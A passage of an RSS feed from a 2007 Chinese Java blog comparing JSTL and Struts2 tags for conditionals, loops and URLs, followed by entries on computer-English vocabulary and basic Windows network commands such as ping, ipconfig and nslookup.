</span><span style="color: rgb(0,128,128)">7</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">font&nbsp;</span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="green"</span>&nbsp;<span style="color: rgb(0,0,255)">/&gt;</span><br />
<span style="color: rgb(0,128,128)">8</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:else</span><span style="color: rgb(0,0,255)">&gt;</span></div>
<br />
2. 迭代标签<br />
&nbsp;&nbsp;&nbsp; JSTL:<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">1</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:forEach&nbsp;</span><span style="color: rgb(255,0,0)">var</span><span style="color: rgb(0,0,255)">="user"</span><span style="color: rgb(255,0,0)">&nbsp;items</span><span style="color: rgb(0,0,255)">="${users}"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">2</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:out&nbsp;</span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="${user.userName}"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">3</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:forEach</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">4</span>&nbsp;<span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;迭代固定次数&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">5</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:forEach&nbsp;</span><span style="color: rgb(255,0,0)">var</span><span style="color: rgb(0,0,255)">="i"</span><span style="color: rgb(255,0,0)">&nbsp;begin</span><span style="color: rgb(0,0,255)">="1"</span><span style="color: rgb(255,0,0)">&nbsp;end</span><span style="color: rgb(0,0,255)">="10"</span><span style="color: rgb(255,0,0)">&nbsp;step</span><span style="color: rgb(0,0,255)">="3"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">6</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:out&nbsp;</span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="${i}"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">7</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:forEach</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">8</span>&nbsp;<span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;这种循环相当于for(int&nbsp;i=1;&nbsp;i&lt;10;&nbsp;i++),&nbsp;其中step是指迭代的步长,默认为1. </span><span style="color: rgb(0,128,0)">--&gt;</span></div>
&nbsp;&nbsp;&nbsp; Struts2:<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">1</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:iterator&nbsp;</span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="#users"</span><span style="color: rgb(255,0,0)">&nbsp;status</span><span style="color: rgb(0,0,255)">="stuts"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0,128,128)">2</span> &nbsp;&nbsp;&nbsp; <span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:if&nbsp;</span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="#stuts.odd&nbsp;==&nbsp;true"</span><span style="color: rgb(0,0,255)">&gt;&nbsp;&nbsp; </span><span style="color: rgb(0,128,0)">&lt;!-- </span><span style="color: rgb(0,128,0)">判断是否为奇数行 --&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">3</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:property </span><span style="color: rgb(0,0,255)"><span style="color: red">value</span>="userName" /&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">4</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:if</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">5</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:else</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">6</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:property</span><span style="color: rgb(0,0,255)"><span style="color: red"> value</span>="passWord"&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">7</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:else</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">8</span> <span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:iterator</span><span style="color: rgb(0,0,255)">&gt;<br />
</span></div>
<br />
3. URL相关标签<br />
&nbsp;&nbsp;&nbsp; JSTL:<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">&nbsp;1</span>&nbsp;<span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;绝对路径&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;2</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:import&nbsp;</span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="http://127.0.0.1:8080/hello/hello.jsp"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;3</span>&nbsp;<span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;相对路径&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,0,0)">&nbsp;</span><span style="color: rgb(0,128,128)">4</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:import&nbsp;</span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="hello.jsp"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;5</span>&nbsp;<span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;Encode&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;6</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">a&nbsp;</span><span style="color: rgb(255,0,0)">href</span><span style="color: rgb(0,0,255)">="&lt;c:url&nbsp;value='hello.jsp'&gt;&lt;c:param&nbsp;name='userName'&nbsp;value='cyanbomb'&nbsp;/&gt;&lt;/c:url&gt;"</span><span style="color: rgb(0,0,255)">&gt;&lt;/</span><span style="color: rgb(128,0,0)">a</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;7</span>&nbsp;<span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;传递参数到指定的URL&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;8</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:import&nbsp;</span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="hello.jsp"</span><span style="color: rgb(255,0,0)">&nbsp;charEncoding</span><span style="color: rgb(0,0,255)">="gb2312"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;9</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:param&nbsp;</span><span style="color: rgb(255,0,0)">name</span><span style="color: rgb(0,0,255)">="userName"</span><span style="color: rgb(255,0,0)">&nbsp;value</span><span style="color: rgb(0,0,255)">="cyanbomb"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">10</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:import</span><span style="color: rgb(0,0,255)">&gt;<br />
</span><span style="color: rgb(0,128,128)">11</span> <span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;URL重定向&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">12</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:redirect&nbsp;</span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="${myurl}"</span>&nbsp;<span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">13</span> <span style="color: rgb(0,128,0)">&lt;!--</span><span style="color: rgb(0,128,0)">&nbsp;构造URL&nbsp;</span><span style="color: rgb(0,128,0)">--&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">14</span> <span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:url&nbsp;</span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="myurl"</span><span style="color: rgb(255,0,0)">&nbsp;var</span><span style="color: rgb(0,0,255)">="hello.jsp"</span><span style="color: rgb(255,0,0)">&nbsp;scope</span><span style="color: rgb(0,0,255)">="session"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">15</span> <span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:param&nbsp;</span><span style="color: rgb(255,0,0)">name</span><span style="color: rgb(0,0,255)">="userName"</span><span style="color: rgb(255,0,0)">&nbsp;value</span><span style="color: rgb(0,0,255)">="cyanbomb"</span>&nbsp;<span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">16</span> <span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:url</span><span style="color: rgb(0,0,255)">&gt;</span><br />
</div>
&nbsp;&nbsp;&nbsp; Struts2:<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">1</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">a&nbsp;</span><span style="color: rgb(255,0,0)">href</span><span style="color: rgb(0,0,255)">='&lt;s:url&nbsp;</span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="/hello.jsp"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,255)">'</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">Hello</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">a</span><span style="color: rgb(0,0,255)">&gt;&lt;</span><span style="color: rgb(128,0,0)">br&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">2</span> <span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:url&nbsp;</span><span style="color: rgb(255,0,0)">id</span><span style="color: rgb(0,0,255)">="url"</span><span style="color: rgb(255,0,0)">&nbsp;value</span><span style="color: rgb(0,0,255)">="/hello.jsp"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">3</span> <span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:param&nbsp;</span><span style="color: rgb(255,0,0)">name</span><span style="color: rgb(0,0,255)">="name"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">cyanbomb</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:param</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:url</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0,128,128)">5</span> <span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:a&nbsp;</span><span style="color: rgb(255,0,0)">href</span><span style="color: rgb(0,0,255)">="%{url}"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">Hello</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:a</span><span style="color: rgb(0,0,255)">&gt;</span></div>
<br />
解除的疑问，list遍历问题<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/list.jpg" /><br />
像这样一个list,里面有3条记录,每条记录包含两个对象,我把结果集(lstRooms)request到了页面,想遍历显示RrmRooms里的id,和RrmRoomType里的name.<br />
我用JSTL实现如下:<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">1</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">table</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">2</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:forEach&nbsp;</span><span style="color: rgb(255,0,0)">var</span><span style="color: rgb(0,0,255)">="rm"</span><span style="color: rgb(255,0,0)">&nbsp;items</span><span style="color: rgb(0,0,255)">="${lstRooms}"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">3</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">tr</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">4</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">${rm[0].id}</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">5</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)">${rm[1].name}</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">td</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">6</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">tr</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">7</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:forEach</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">8</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">table</span><span style="color: rgb(0,0,255)">&gt;</span></div>
STRUTS2实现如下:<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #0000ff">&lt;</span><span style="color: #800000">table</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">s:iterator&nbsp;</span><span style="color: #ff0000">value</span><span style="color: #0000ff">="#lstRooms"</span><span style="color: #ff0000">&nbsp;status</span><span style="color: #0000ff">="stat"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">tr</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">4</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">td</span><span style="color: #0000ff">&gt;&lt;</span><span style="color: #800000">s:property&nbsp;</span><span style="color: #ff0000">value</span><span style="color: #0000ff">="#lstRooms[#stat.index][0].id"</span><span style="color: #ff0000">&nbsp;</span><span style="color: #0000ff">/&gt;&lt;/</span><span style="color: #800000">td</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">5</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">td</span><span style="color: #0000ff">&gt;&lt;</span><span style="color: #800000">s:property&nbsp;</span><span style="color: #ff0000">value</span><span style="color: #0000ff">="#lstRooms[#stat.index][1].name"</span><span style="color: #ff0000">&nbsp;</span><span style="color: #0000ff">/&gt;&lt;/</span><span style="color: #800000">td</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">6</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">tr</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">7</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">s:iterator</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #008080">8</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">table</span><span style="color: #0000ff">&gt;</span></div>
<br />
待更新...<br />
<br />
----------------------------<br />
<span style="font-family: 隶书"><span style="color: red">珍惜原创,谢绝盗版! <span style="color: rgb(0,0,255)">- cYanbomb</span></span></span><br />
<img src ="http://www.blogjava.net/cyanbomb/aggbug/171440.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-29 11:15 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/29/171440.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>计算机英语</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171095.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Fri, 28 Dec 2007 02:20:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171095.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/171095.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171095.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/171095.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/171095.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp; &nbsp;&nbsp;&nbsp; 1. file n. 文件；v. 保存文件 &nbsp; &nbsp;&nbsp; &nbsp;2. command n. 命令，指令&nbsp; &nbsp;&nbsp; &nbsp;3. use v. 使用，用途 &nbsp; &nbsp;&nbsp; &nbsp;4. program n. 程序 &nbs...&nbsp;&nbsp;<a href='http://www.blogjava.net/cyanbomb/archive/2007/12/28/171095.html'>阅读全文</a><img src ="http://www.blogjava.net/cyanbomb/aggbug/171095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-28 10:20 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/28/171095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络命令</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171092.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Fri, 28 Dec 2007 02:16:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171092.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/171092.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171092.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/171092.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/171092.html</trackback:ping><description><![CDATA[<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">1.</span><span style="font-size: 9pt; color: black;">最基本，最常用的，测试物理网络的</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
ping&nbsp;192.168.10.88&nbsp;</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">t&nbsp;</span><span style="font-size: 9pt; color: black;">，参数－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">t</span><span style="font-size: 9pt; color: black;">是等待用户去中断测试</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">2.</span><span style="font-size: 9pt; color: black;">查看</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">DNS</span><span style="font-size: 9pt; color: black;">、</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">、</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">Mac</span><span style="font-size: 9pt; color: black;">等</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
A.Win98</span><span style="font-size: 9pt; color: black;">：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">winipcfg<br />
B.Win2000</span><span style="font-size: 9pt; color: black;">以上：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">Ipconfig/all</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">C.NSLOOKUP</span><span style="font-size: 9pt; color: black;">：如查看河北的</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">DNS<br />
C:"&gt;nslookup<br />
Default&nbsp;Server:&nbsp;ns.hesjptt.net.cn<br />
Address:&nbsp;202.99.160.68<br />
